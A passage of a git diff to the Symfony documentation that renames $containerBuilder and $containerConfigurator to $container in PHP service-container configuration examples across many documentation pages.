         // ...
-        $containerBuilder->compile();
+        $container->compile();
 
         if (!$isDebug) {
-            $dumper = new PhpDumper($containerBuilder);
+            $dumper = new PhpDumper($container);
             file_put_contents(
                 $file,
                 $dumper->dump(['class' => 'MyCachedContainer'])
@@ -554,14 +554,14 @@ for these resources and use them as metadata for the cache::
     $containerConfigCache = new ConfigCache($file, $isDebug);
 
     if (!$containerConfigCache->isFresh()) {
-        $containerBuilder = new ContainerBuilder();
+        $container = new ContainerBuilder();
         // ...
-        $containerBuilder->compile();
+        $container->compile();
 
-        $dumper = new PhpDumper($containerBuilder);
+        $dumper = new PhpDumper($container);
         $containerConfigCache->write(
             $dumper->dump(['class' => 'MyCachedContainer']),
-            $containerBuilder->getResources()
+            $container->getResources()
         );
     }
 
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 5459d27bdb3..1e281c084b0 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -186,22 +186,22 @@ determine which instance is passed.
         use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
         use Symfony\Component\EventDispatcher\EventDispatcher;
 
-        $containerBuilder = new ContainerBuilder(new ParameterBag());
+        $container = new ContainerBuilder(new ParameterBag());
         // register the compiler pass that handles the 'kernel.event_listener'
         // and 'kernel.event_subscriber' service tags
-        $containerBuilder->addCompilerPass(new RegisterListenersPass());
+        $container->addCompilerPass(new RegisterListenersPass());
 
-        $containerBuilder->register('event_dispatcher', EventDispatcher::class);
+        $container->register('event_dispatcher', EventDispatcher::class);
 
         // registers an event listener
-        $containerBuilder->register('listener_service_id', \AcmeListener::class)
+        $container->register('listener_service_id', \AcmeListener::class)
             ->addTag('kernel.event_listener', [
                 'event' => 'acme.foo.action',
                 'method' => 'onFooAction',
             ]);
 
         // registers an event subscriber
-        $containerBuilder->register('subscriber_service_id', \AcmeSubscriber::class)
+        $container->register('subscriber_service_id', \AcmeSubscriber::class)
             ->addTag('kernel.event_subscriber');
 
     ``RegisterListenersPass`` resolves aliased class names which for instance
@@ -218,16 +218,16 @@ determine which instance is passed.
         use Symfony\Component\EventDispatcher\DependencyInjection\RegisterListenersPass;
         use Symfony\Component\EventDispatcher\EventDispatcher;
 
-        $containerBuilder = new ContainerBuilder(new ParameterBag());
-        $containerBuilder->addCompilerPass(new AddEventAliasesPass([
+        $container = new ContainerBuilder(new ParameterBag());
+        $container->addCompilerPass(new AddEventAliasesPass([
             \AcmeFooActionEvent::class => 'acme.foo.action',
         ]));
-        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
+        $container->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
 
-        $containerBuilder->register('event_dispatcher', EventDispatcher::class);
+        $container->register('event_dispatcher', EventDispatcher::class);
 
         // registers an event listener
-        $containerBuilder->register('listener_service_id', \AcmeListener::class)
+        $container->register('listener_service_id', \AcmeListener::class)
             ->addTag('kernel.event_listener', [
                 // will be translated to 'acme.foo.action' by RegisterListenersPass.
                 'event' => \AcmeFooActionEvent::class,
diff --git a/components/serializer.rst b/components/serializer.rst
index cf09f0b7992..29c008ce2c4 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -998,8 +998,8 @@ faster alternative to the
 
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return static function (ContainerConfigurator $container) {
+            $container->services()
                 // ...
                 ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
                     ->tag('serializer.normalizer')
diff --git a/components/uid.rst b/components/uid.rst
index ccd567f6ccf..1731c392dba 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -126,13 +126,13 @@ configure the behavior of the factory using configuration files::
         // config/packages/uid.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator): void {
-            $services = $containerConfigurator->services()
+        return static function (ContainerConfigurator $container): void {
+            $services = $container->services()
                 ->defaults()
                 ->autowire()
                 ->autoconfigure();
 
-            $containerConfigurator->extension('framework', [
+            $container->extension('framework', [
                 'uid' => [
                     'default_uuid_version' => 6,
                     'name_based_uuid_version' => 5,
@@ -568,7 +568,7 @@ configuration in your application before using these commands:
         use Symfony\Component\Uid\Command\InspectUlidCommand;
         use Symfony\Component\Uid\Command\InspectUuidCommand;
 
-        return static function (ContainerConfigurator $containerConfigurator): void {
+        return static function (ContainerConfigurator $container): void {
             // ...
 
             $services
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index 6b0d3bc6ea1..e8a4d18d0c7 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -144,8 +144,8 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the
         // config/packages/debug.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('debug', [
+        return static function (ContainerConfigurator $container) {
+            $container->extension('debug', [
                 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
             ]);
         };
diff --git a/configuration.rst b/configuration.rst
index c56b895da8b..79d014f9170 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -73,18 +73,18 @@ shown in these three formats.
         {
             // ...
 
-            private function configureContainer(ContainerConfigurator $containerConfigurator): void
+            private function configureContainer(ContainerConfigurator $container): void
             {
                 $configDir = $this->getConfigDir();
 
-                $containerConfigurator->import($configDir.'/{packages}/*.{yaml,php}');
-                $containerConfigurator->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
+                $container->import($configDir.'/{packages}/*.{yaml,php}');
+                $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
 
                 if (is_file($configDir.'/services.yaml')) {
-                    $containerConfigurator->import($configDir.'/services.yaml');
-                    $containerConfigurator->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                    $container->import($configDir.'/services.yaml');
+                    $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
                 } else {
-                    $containerConfigurator->import($configDir.'/{services}.php');
+                    $container->import($configDir.'/{services}.php');
                 }
             }
         }
@@ -158,17 +158,17 @@ configuration files, even if they use a different format:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->import('legacy_config.php');
+        return static function (ContainerConfigurator $container) {
+            $container->import('legacy_config.php');
 
             // glob expressions are also supported to load multiple files
-            $containerConfigurator->import('/etc/myapp/*.yaml');
+            $container->import('/etc/myapp/*.yaml');
 
             // the third optional argument of import() is 'ignore_errors'
             // 'ignore_errors' set to 'not_found' silently discards errors if the loaded file doesn't exist
-            $containerConfigurator->import('my_config_file.yaml', null, 'not_found');
+            $container->import('my_config_file.yaml', null, 'not_found');
             // 'ignore_errors' set to true silently discards all errors (including invalid code and not found)
-            $containerConfigurator->import('my_config_file.yaml', null, true);
+            $container->import('my_config_file.yaml', null, true);
         };
 
         // ...
@@ -257,8 +257,8 @@ reusable configuration value. By convention, parameters are defined under the
 
         use App\Entity\BlogPost;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 // the parameter name is an arbitrary string (the 'app.' prefix is recommended
                 // to better differentiate your parameters from Symfony parameters).
                 ->set('app.admin_email', 'something@example.com')
@@ -329,8 +329,8 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
         // config/packages/some_package.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->extension('some_package', [
+        return static function (ContainerConfigurator $container) {
+            $container->extension('some_package', [
                 // any string surrounded by two % is replaced by that parameter value
                 'email_address' => '%app.admin_email%',
 
@@ -366,8 +366,8 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $containerConfigurator) {
-                $containerConfigurator->parameters()
+            return static function (ContainerConfigurator $container) {
+                $container->parameters()
                     ->set('url_pattern', 'http://symfony.com/?foo=%%s&amp;bar=%%d');
             };
 
@@ -502,7 +502,7 @@ files directly in the ``config/packages/`` directory.
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
             use Symfony\Config\WebpackEncoreConfig;
 
-            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $containerConfigurator) {
+            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container) {
                 $webpackEncore
                     ->outputPath('%kernel.project_dir%/public/build')
                     ->strictMode(true)
@@ -510,12 +510,12 @@ files directly in the ``config/packages/`` directory.
                 ;
 
                 // cache is enabled only in the "prod" environment
-                if ('prod' === $containerConfigurator->env()) {
+                if ('prod' === $container->env()) {
                     $webpackEncore->cache(true);
                 }
 
                 // disable strict mode only in the "test" environment
-                if ('test' === $containerConfigurator->env()) {
+                if ('test' === $container->env()) {
                     $webpackEncore->strictMode(false);
                 }
             };
@@ -633,7 +633,7 @@ This example shows how you could configure the application secret using an env v
         // config/packages/framework.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
+        return static function (ContainerConfigurator $container) {
             $container->extension('framework', [
                 // by convention the env var names are always uppercase
                 'secret' => '%env(APP_SECRET)%',
@@ -989,8 +989,8 @@ doesn't work for parameters:
 
         use App\Service\MessageGenerator;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->parameters()
+        return static function (ContainerConfigurator $container) {
+            $container->parameters()
                 ->set('app.contents_dir', '...');
 
             $container->services()
@@ -1046,8 +1046,8 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
 
         use App\Controller\LuckyController;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $containerConfigurator->services()
+        return static function (ContainerConfigurator $container) {
+            $container->services()
                 ->defaults()
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 358f3989a69..cc6782baabb 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -104,8 +104,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
-                $containerBuilder->setParameter('env(SECRET)', 'some_secret');
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(SECRET)', 'some_secret');
                 $framework->secret(env('SECRET')->string());
             };
 
@@ -150,8 +150,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
-                $containerBuilder->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(HTTP_METHOD_OVERRIDE)', 'true');
                 $framework->httpMethodOverride(env('HTTP_METHOD_OVERRIDE')->bool());
             };
 
@@ -242,8 +242,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\SecurityConfig;
 
-            return static function (ContainerBuilder $containerBuilder, SecurityConfig $security) {
-                $containerBuilder->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
+            return static function (ContainerBuilder $container, SecurityConfig $security) {
+                $container->setParameter('env(HEALTH_CHECK_METHOD)', 'Symfony\Component\HttpFoundation\Request::METHOD_HEAD');
                 $security->accessControl()
                     ->path('^/health-check$')
                     ->methods([env('HEALTH_CHECK_METHOD')->const()]);
@@ -293,8 +293,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
-                $containerBuilder->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->json());
             };
 
@@ -379,8 +379,8 @@ Symfony provides the following env var processors:
             use Symfony\Component\DependencyInjection\ContainerBuilder;
             use Symfony\Config\FrameworkConfig;
 
-            return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework) {
-                $containerBuilder->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
+            return static function (ContainerBuilder $container, FrameworkConfig $framework) {
+                $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
                 $framework->trustedHosts(env('TRUSTED_HOSTS')->csv());
             };
 
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index ce4b0ac46c2..185d301a657 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -43,10 +43,10 @@ Next, create an ``index.php`` file that defines the kernel class and runs it::
             ];
         }
 
-        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
+        protected function configureContainer(ContainerConfigurator $container): void
         {
             // PHP equivalent of config/packages/framework.yaml
-            $containerConfigurator->extension('framework', [
+            $container->extension('framework', [
                 'secret' => 'S0ME_SECRET'
             ]);
         }
@@ -88,7 +88,7 @@ that define your bundles, your services and your routes:
 **registerBundles()**
     This is the same ``registerBundles()`` that you see in a normal kernel.
 
-**configureContainer(ContainerConfigurator $containerConfigurator)**
+**configureContainer(ContainerConfigurator $container)**
     This method builds and configures the container. In practice, you will use
     ``extension()`` to configure different bundles (this is the equivalent
     of what you see in a normal ``config/packages/*`` file). You can also register
@@ -191,12 +191,12 @@ hold the kernel. Now it looks like this::
             return $bundles;
         }
 
-        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
+        protected function configureContainer(ContainerConfigurator $container): void
         {
-            $containerConfigurator->import(__DIR__.'/../config/framework.yaml');
+            $container->import(__DIR__.'/../config/framework.yaml');
 
             // register all classes in /src/ as service
-            $containerConfigurator->services()
+            $container->services()
                 ->load('App\\', __DIR__.'/*')
                 ->autowire()
                 ->autoconfigure()
@@ -204,7 +204,7 @@ hold the kernel. Now it looks like this::
 
             // configure WebProfilerBundle only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
-                $containerConfigurator->extension('web_profiler', [
+                $container->extension('web_profiler', [
                     'toolbar' => true,
                     'intercept_redirects' => false,
                 ]);
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index cc50c27a1d4..9464fcf39f7 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -164,12 +164,12 @@ resources::
             return ($_SERVER['APP_LOG_DIR'] ?? $this->getProjectDir().'/var/log').'/'.$this->id;
         }
 
-        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
+        protected function configureContainer(ContainerConfigurator $container): void
         {
             // load common config files, such as the framework.yaml, as well as
             // specific configs required exclusively for the app itself
-            $this->doConfigureContainer($containerConfigurator, $this->getSharedConfigDir());
-            $this->doConfigureContainer($containerConfigurator, $this->getAppConfigDir());
+            $this->doConfigureContainer($container, $this->getSharedConfigDir());
+            $this->doConfigureContainer($container, $this->getAppConfigDir());
         }
 
         protected function configureRoutes(RoutingConfigurator $routes): void
@@ -180,16 +180,16 @@ resources::
             $this->doConfigureRoutes($routes, $this->getAppConfigDir());
         }
 
-        private function doConfigureContainer(ContainerConfigurator $containerConfigurator, string $configDir): void
+        private function doConfigureContainer(ContainerConfigurator $container, string $configDir): void
         {
-            $containerConfigurator->import($configDir.'/{packages}/*.{php,yaml}');
-            $containerConfigurator->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
+            $container->import($configDir.'/{packages}/*.{php,yaml}');
+            $container->import($configDir.'/{packages}/'.$this->environment.'/*.{php,yaml}');
 
             if (is_file($configDir.'/services.yaml')) {
-                $containerConfigurator->import($configDir.'/services.yaml');
-                $containerConfigurator->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                $container->import($configDir.'/services.yaml');
+                $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
             } else {
-                $containerConfigurator->import($configDir.'/{services}.php');
+                $container->import($configDir.'/{services}.php');
             }
         }
 
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 9eb629b4b20..05008114e01 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -135,9 +135,9 @@ And set it in the constructor of ``Configuration`` via the ``Extension`` class::
     {
         // ...
 
-        public function getConfiguration(array $config, ContainerBuilder $containerBuilder)
+        public function getConfiguration(array $config, ContainerBuilder $container)
         {
-            return new Configuration($containerBuilder->getParameter('kernel.debug'));
+            return new Configuration($container->getParameter('kernel.debug'));
         }
     }
 
diff --git a/console/lazy_commands.rst b/console/lazy_commands.rst
index 553490c845e..6d1f245eb75 100644
--- a/console/lazy_commands.rst
+++ b/console/lazy_commands.rst
@@ -68,13 +68,13 @@ with command names as keys and service identifiers as values::
     use Symfony\Component\Console\CommandLoader\ContainerCommandLoader;
     use Symfony\Component\DependencyInjection\ContainerBuilder;
 
-    $containerBuilder = new ContainerBuilder();
-    $containerBuilder->register(FooCommand::class, FooCommand::class);
-    $containerBuilder->compile();
+    $container = new ContainerBuilder();
+    $container->register(FooCommand::class, FooCommand::class);
+    $container->compile();
 
-    $commandLoader = new ContainerCommandLoader($containerBuilder, [
+    $commandLoader = new ContainerCommandLoader($container, [
         'app:foo' => FooCommand::class,
     ]);
 
 Like this, executing the ``app:foo`` command will load the ``FooCommand`` service
-by calling ``$containerBuilder->get(FooCommand::class)``.
+by calling ``$container->get(FooCommand::class)``.
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index fcbe012ef33..eb100c258f0 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -230,8 +230,8 @@ and adding a priority.
 
         use App\ArgumentResolver\UserValueResolver;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(UserValueResolver::class)
                 ->tag('controller.argument_value_resolver', ['priority' => 50])
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 0e5beb84eb3..886c772d98a 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -319,8 +319,8 @@ Then, define a service for this class:
 
         use App\Service\FileUploader;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(FileUploader::class)
                 ->arg('$targetDirectory', '%brochures_directory%')
diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst
index cd20a947251..de3c4e11e4e 100644
--- a/create_framework/dependency_injection.rst
+++ b/create_framework/dependency_injection.rst
@@ -109,30 +109,30 @@ Create a new file to host the dependency injection container configuration::
     use Symfony\Component\HttpKernel;
     use Symfony\Component\Routing;
 
-    $containerBuilder = new DependencyInjection\ContainerBuilder();
-    $containerBuilder->register('context', Routing\RequestContext::class);
-    $containerBuilder->register('matcher', Routing\Matcher\UrlMatcher::class)
+    $container = new DependencyInjection\ContainerBuilder();
+    $container->register('context', Routing\RequestContext::class);
+    $container->register('matcher', Routing\Matcher\UrlMatcher::class)
         ->setArguments([$routes, new Reference('context')])
     ;
-    $containerBuilder->register('request_stack', HttpFoundation\RequestStack::class);
-    $containerBuilder->register('controller_resolver', HttpKernel\Controller\ControllerResolver::class);
-    $containerBuilder->register('argument_resolver', HttpKernel\Controller\ArgumentResolver::class);
+    $container->register('request_stack', HttpFoundation\RequestStack::class);
+    $container->register('controller_resolver', HttpKernel\Controller\ControllerResolver::class);
+    $container->register('argument_resolver', HttpKernel\Controller\ArgumentResolver::class);
 
-    $containerBuilder->register('listener.router', HttpKernel\EventListener\RouterListener::class)
+    $container->register('listener.router', HttpKernel\EventListener\RouterListener::class)
         ->setArguments([new Reference('matcher'), new Reference('request_stack')])
     ;
-    $containerBuilder->register('listener.response', HttpKernel\EventListener\ResponseListener::class)
+    $container->register('listener.response', HttpKernel\EventListener\ResponseListener::class)
         ->setArguments(['UTF-8'])
     ;
-    $containerBuilder->register('listener.exception', HttpKernel\EventListener\ErrorListener::class)
+    $container->register('listener.exception', HttpKernel\EventListener\ErrorListener::class)
         ->setArguments(['Calendar\Controller\ErrorController::exception'])
     ;
-    $containerBuilder->register('dispatcher', EventDispatcher\EventDispatcher::class)
+    $container->register('dispatcher', EventDispatcher\EventDispatcher::class)
         ->addMethodCall('addSubscriber', [new Reference('listener.router')])
         ->addMethodCall('addSubscriber', [new Reference('listener.response')])
         ->addMethodCall('addSubscriber', [new Reference('listener.exception')])
     ;
-    $containerBuilder->register('framework', Framework::class)
+    $container->register('framework', Framework::class)
         ->setArguments([
             new Reference('dispatcher'),
             new Reference('controller_resolver'),
@@ -141,7 +141,7 @@ Create a new file to host the dependency injection container configuration::
         ])
     ;
 
-    return $containerBuilder;
+    return $container;
 
 The goal of this file is to configure your objects and their dependencies.
 Nothing is instantiated during this configuration step. This is purely a
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 729e266db3d..80506081fbe 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -224,8 +224,8 @@ with the ``doctrine.event_listener`` tag:
 
         use App\EventListener\SearchIndexer;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             // listeners are applied by default to all Doctrine connections
             $services->set(SearchIndexer::class)
@@ -357,8 +357,8 @@ with the ``doctrine.orm.entity_listener`` tag:
         use App\Entity\User;
         use App\EventListener\UserChangedNotifier;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(UserChangedNotifier::class)
                 ->tag('doctrine.orm.entity_listener', [
@@ -498,8 +498,8 @@ Doctrine connection to use) you must do that in the manual service configuration
 
         use App\EventListener\DatabaseActivitySubscriber;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(DatabaseActivitySubscriber::class)
                 ->tag('doctrine.event_subscriber'[
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index c04e309eb46..a1e26412a85 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -91,8 +91,8 @@ notify Symfony that it is an event listener by using a special "tag":
 
         use App\EventListener\ExceptionListener;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(ExceptionListener::class)
                 ->tag('kernel.event_listener')
@@ -383,9 +383,9 @@ compiler pass ``AddEventAliasesPass``::
 
     class Kernel extends BaseKernel
     {
-        protected function build(ContainerBuilder $containerBuilder)
+        protected function build(ContainerBuilder $container)
         {
-            $containerBuilder->addCompilerPass(new AddEventAliasesPass([
+            $container->addCompilerPass(new AddEventAliasesPass([
                 MyCustomEvent::class => 'my_custom_event',
             ]));
         }
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index cdd4c6664be..ae64738e2df 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -141,8 +141,8 @@ After creating the strategy PHP class, register it as a Symfony service.
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Component\DependencyInjection\Definition;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(GulpBusterVersionStrategy::class)
                 ->args(
diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 48d451d3154..76c13ab975b 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -123,8 +123,8 @@ Then, register the class as a service that :doc:`decorates </service_container/s
 
         use App\CacheKernel;
 
-        return function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(CacheKernel::class)
                 ->decorate('http_cache')
diff --git a/mailer.rst b/mailer.rst
index ee69bd3b123..cdb6a259ede 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -57,8 +57,8 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
         use function Symfony\Component\DependencyInjection\Loader\Configurator\env;
         use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
 
-        return static function (ContainerConfigurator $containerConfigurator): void {
-            $containerConfigurator->extension('framework', [
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('framework', [
                 'mailer' => [
                     'dsn' => env('MAILER_DSN'),
                 ],
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 08f788ec109..e96840fcb0d 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -204,8 +204,8 @@ you can determine the message bus based on an implemented interface:
         use App\MessageHandler\CommandHandlerInterface;
         use App\MessageHandler\QueryHandlerInterface;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             // ...
 
diff --git a/profiler.rst b/profiler.rst
index 8ae4d9dab36..ed89cfe7a08 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -512,8 +512,8 @@ you'll need to configure the data collector explicitly:
 
         use App\DataCollector\RequestCollector;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(RequestCollector::class)
                 ->tag('data_collector', [
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 3bd459d2e3e..f42b4205316 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -286,12 +286,12 @@ using the special ``when@`` keyword:
 
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework, ContainerConfigurator $containerConfigurator) {
+        return static function (FrameworkConfig $framework, ContainerConfigurator $container) {
             $framework->router()
                 ->utf8(true)
             ;
 
-            if ('prod' === $containerConfigurator->env()) {
+            if ('prod' === $container->env()) {
                 $framework->router()
                     ->strictRequirements(null)
                 ;
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index c35eb5a575e..fa2b1daabe0 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3356,8 +3356,8 @@ the `SMTP session`_. This value overrides any other recipient set in the code.
         // config/packages/mailer.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $containerConfigurator): void {
-            $containerConfigurator->extension('framework', [
+        return static function (ContainerConfigurator $container): void {
+            $container->extension('framework', [
                 'mailer' => [
                     'dsn' => 'smtp://localhost:25',
                     'envelope' => [
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index e707808e7e2..64cac27255e 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -122,8 +122,8 @@ services:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
             $services->set('app.postgresql_lock', PostgresqlLock::class);
@@ -184,8 +184,8 @@ the generic ``app.lock`` service can be defined as follows:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return function(ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
             $services->set('app.postgresql_lock', PostgresqlLock::class);
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 7c050010ed5..78fd55f99aa 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -328,8 +328,8 @@ Now define a service for the ``ExtraLoader``:
 
         use App\Routing\ExtraLoader;
 
-        return static function (ContainerConfigurator $containerConfigurator) {
-            $services = $containerConfigurator->services();
+        return static function (ContainerConfigurator $container) {
+            $services = $container->services();
 
             $services->set(ExtraLoader::class)
                 ->tag('routing.loader')
diff --git a/security.rst b/security.rst
index a492e38fac7..9fe3801d01b 100644
--- a/security.rst
+++ b/security.rst
@@ -1572,7 +1572,7 @@ and set the ``limiter`` option to its service ID:
         use Symfony\Config\FrameworkConfig;
         use Symfony\Config\SecurityConfig;
 
-        return static function (ContainerBuilder $containerBuilder, FrameworkConfig $framework, SecurityConfig $security) {
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
             $framework->rateLimiter()
                 ->limiter('username_ip_login')
                     ->policy('token_bucket')
@@ -1588,7 +1588,7 @@ and set the ``limiter`` option to its service ID:
                     ->interval('15 minutes')
             ;
 
-            $containerBuilder->register('app.login_rate_limiter', DefaultLoginRateLimiter::class)
